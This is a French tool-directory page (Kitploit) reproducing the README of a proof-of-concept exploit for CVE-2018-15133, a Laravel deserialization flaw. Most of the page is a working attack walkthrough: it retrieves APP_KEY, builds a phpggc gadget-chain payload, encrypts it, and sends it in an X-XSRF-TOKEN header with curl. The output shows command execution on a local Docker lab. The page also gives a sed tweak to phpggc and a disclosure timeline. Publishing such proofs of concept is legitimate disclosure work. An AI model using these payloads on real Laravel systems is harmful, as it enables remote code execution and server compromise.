Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
laravel-poc-CVE-2018-15133 — PoC pour CVE-2018-15133 (vulnérabilité unserialize de Laravel) | Kitploit
Outils/GitHubGitHub/kozmic/laravel-poc-cve-2018-15133
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationDéveloppement de Charges Utiles
GitHubkozmic/laravel-poc-cve-2018-15133

laravel-poc-CVE-2018-15133

PoC pour CVE-2018-15133 (vulnérabilité unserialize de Laravel)

Voir le dépôt
258361il y a 2 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Preuve de concept d'exécution de code à distance dans Laravel lorsque APP_KEY est divulgué (CVE-2018-15133)

Ce dépôt contient une application Laravel 5.6.29 simple sous PHP 7.2.10 avec une route noop de base ajoutée dans routes/web.php (voir Dockerfile) et un exploit de preuve de concept (cve-2018-15133.php) pour CVE-2018-15133 qui devrait exploiter avec succès l'application Laravel et exécuter uname -a sur le système cible.

Instructions pour faire fonctionner l'application et exécuter uname -a sur le système cible

root@kitploit:~
# Construire l'image Docker (ou passer cette étape et récupérer depuis kozmico/laravel-poc-cve-2018-15133) : docker build -t laravel-poc-cve-2018-15133 . # Lancer le conteneur et l'exposer sur localhost:8000 : docker run -d -p 8000:8000 laravel-poc-cve-2018-15133 # Un Laravel 5.6.29 standard sous PHP 7.2.10 devrait maintenant fonctionner sur http://localhost:8000

Pour exécuter uname -a sur l'application de démonstration fonctionnant avec Laravel 5.6.29, nous procédons comme suit :

  • Récupérer APP_KEY depuis l'application Laravel en cours d'exécution
  • Générer une charge utile de désérialisation qui exécutera system("uname -a");
  • Chiffrer la charge utile de désérialisation avec APP_KEY
  • Envoyer la charge utile chiffrée dans un en-tête de requête POST, et constater que le code s'est exécuté. Succès !

Exemple d'exploitation exécutant uname -a

root@kitploit:~
# Récupérer APP_KEY :
$ docker exec -it $(docker ps --latest --quiet) grep -e \^APP_KEY /var/www/html/laravel/.env
APP_KEY=base64:9UZUmEfHhV7WXXYewtNRtCxAYdQt44IAgJUKXk2ehRk=

# Générer la charge utile de désérialisation :
$ phpggc Laravel/RCE1 'uname -a' -b # Remarque : phpggc standard ne fonctionne qu'avec PHP 5.6, il s'agit d'une version modifiée
Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MTU6IkZha2VyXEdlbmVyYXRvciI6MTp7czoxMzoiACoAZm9ybWF0dGVycyI7YToxOntzOjg6ImRpc3BhdGNoIjtzOjY6InN5c3RlbSI7fX1zOjg6IgAqAGV2ZW50IjtzOjg6InVuYW1lIC1hIjt9

# Chiffrer la charge utile avec APP_KEY :
$ ./cve-2018-15133.php 9UZUmEfHhV7WXXYewtNRtCxAYdQt44IAgJUKXk2ehRk= Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MTU6IkZha2VyXEdlbmVyYXRvciI6MTp7czoxMzoiACoAZm9ybWF0dGVycyI7YToxOntzOjg6ImRpc3BhdGNoIjtzOjY6InN5c3RlbSI7fX1zOjg6IgAqAGV2ZW50IjtzOjg6InVuYW1lIC1hIjt9

'PoC for Unserialize vulnerability in Laravel <= 5.6.29 (CVE-2018-15133) by @kozmic

HTTP header for POST request: 
X-XSRF-TOKEN: eyJpdiI6Imp3c1BUejE5aGFFUVM4a0NcLzIyODBnPT0iLCJ2YWx1ZSI6InZrTEdOY2o1NlVJdlltWFl3OFBxTEY1a1pCZWlaSDRSdXM1STNSa21sSE5Cb3hFd09cL2JUdU0wWHhjK0dUU0dYQzlTd3ZYSm50NTc4NW90UnNrZW5mMHc2RHdcLzZia01cL29wVUhjQml5cCtmZ1VcL2lwbnVySG52MHEwWXdZMVFVSXhWYjFEQlwveTZPQ3JORnRYdVQyeVFnODM1UGVCSVFcL3B6RGs2VDczOTZEbkFKdFwvc3lpZXBtcUo4VllLNU4zS0pMV3ZBUlNXZDRHRmNnOG1vOFZUWDVicE5uV0FcL1NSXC9HRjh2XC9YR2pLUDlEdlEwaytWRHl5TFhvb3RXM0Y4ejNXIiwibWFjIjoiOTMwMTNkZDYwYzNjYmQ1YTg4ZjRmNjM2NmZhMzBjNzA5NTgzYmI0ZWM3Y2MzOGM4YmExYjM2ZTVkOTIzZDJjYyJ9

# Envoyer la charge utile de l'exploit et constater que 'uname -a' s'est exécuté puisque nous pouvons voir 'Linux ad66c19a7ab5 4.15.0-33-generic #36-Ubuntu SMP Wed Aug 15 16:00:05 UTC 2018 x86_64 GNU/Linux' dans la première ligne de la réponse :
$ curl localhost:8000 -X POST -H 'X-XSRF-TOKEN: eyJpdiI6Imp3c1BUejE5aGFFUVM4a0NcLzIyODBnPT0iLCJ2YWx1ZSI6InZrTEdOY2o1NlVJdlltWFl3OFBxTEY1a1pCZWlaSDRSdXM1STNSa21sSE5Cb3hFd09cL2JUdU0wWHhjK0dUU0dYQzlTd3ZYSm50NTc4NW90UnNrZW5mMHc2RHdcLzZia01cL29wVUhjQml5cCtmZ1VcL2lwbnVySG52MHEwWXdZMVFVSXhWYjFEQlwveTZPQ3JORnRYdVQyeVFnODM1UGVCSVFcL3B6RGs2VDczOTZEbkFKdFwvc3lpZXBtcUo4VllLNU4zS0pMV3ZBUlNXZDRHRmNnOG1vOFZUWDVicE5uV0FcL1NSXC9HRjh2XC9YR2pLUDlEdlEwaytWRHl5TFhvb3RXM0Y4ejNXIiwibWFjIjoiOTMwMTNkZDYwYzNjYmQ1YTg4ZjRmNjM2NmZhMzBjNzA5NTgzYmI0ZWM3Y2MzOGM4YmExYjM2ZTVkOTIzZDJjYyJ9'| head -n 2

Linux ad66c19a7ab5 4.15.0-33-generic #36-Ubuntu SMP Wed Aug 15 16:00:05 UTC 2018 x86_64 GNU/Linux
<!DOCTYPE html>
<html lang="en">

Modification de phpggc pour PHP 7.2 : sed -i -e 's/assert/system/g' gadgetchains/Laravel/RCE/1/gadgets.php

Chronologie

  • 2018-08-07 : Vulnérabilité signalée par @kozmic au contact sécurité de Laravel et CVE-2018-15133 attribuée par Mitre
  • 2018-08-07 : Première réponse du contact sécurité après 7 minutes (impressionnant !)
  • 2018-08-07 : Clarifications et plus de détails partagés sur la vulnérabilité
  • 2018-08-08 : Laravel 5.6.30 et Laravel 5.5.42 publiés, corrigeant la vulnérabilité
  • 2018-09-26 : Preuve de concept publiée par @kozmic sur https://github.com/kozmic/laravel-poc-CVE-2018-15133/
  • 2024-01-16 : CVE-2018-15133 ajoutée au catalogue des vulnérabilités connues exploitées (KEV) de la CISA. La CISA a publié un avis de cybersécurité intitulé Indicateurs de compromission connus associés au malware Androxgh0st qui documente qu'Androxgh0st utilise CVE-2018-15133 dans le cadre de sa boîte à outils malveillante.
Télécharger l’outil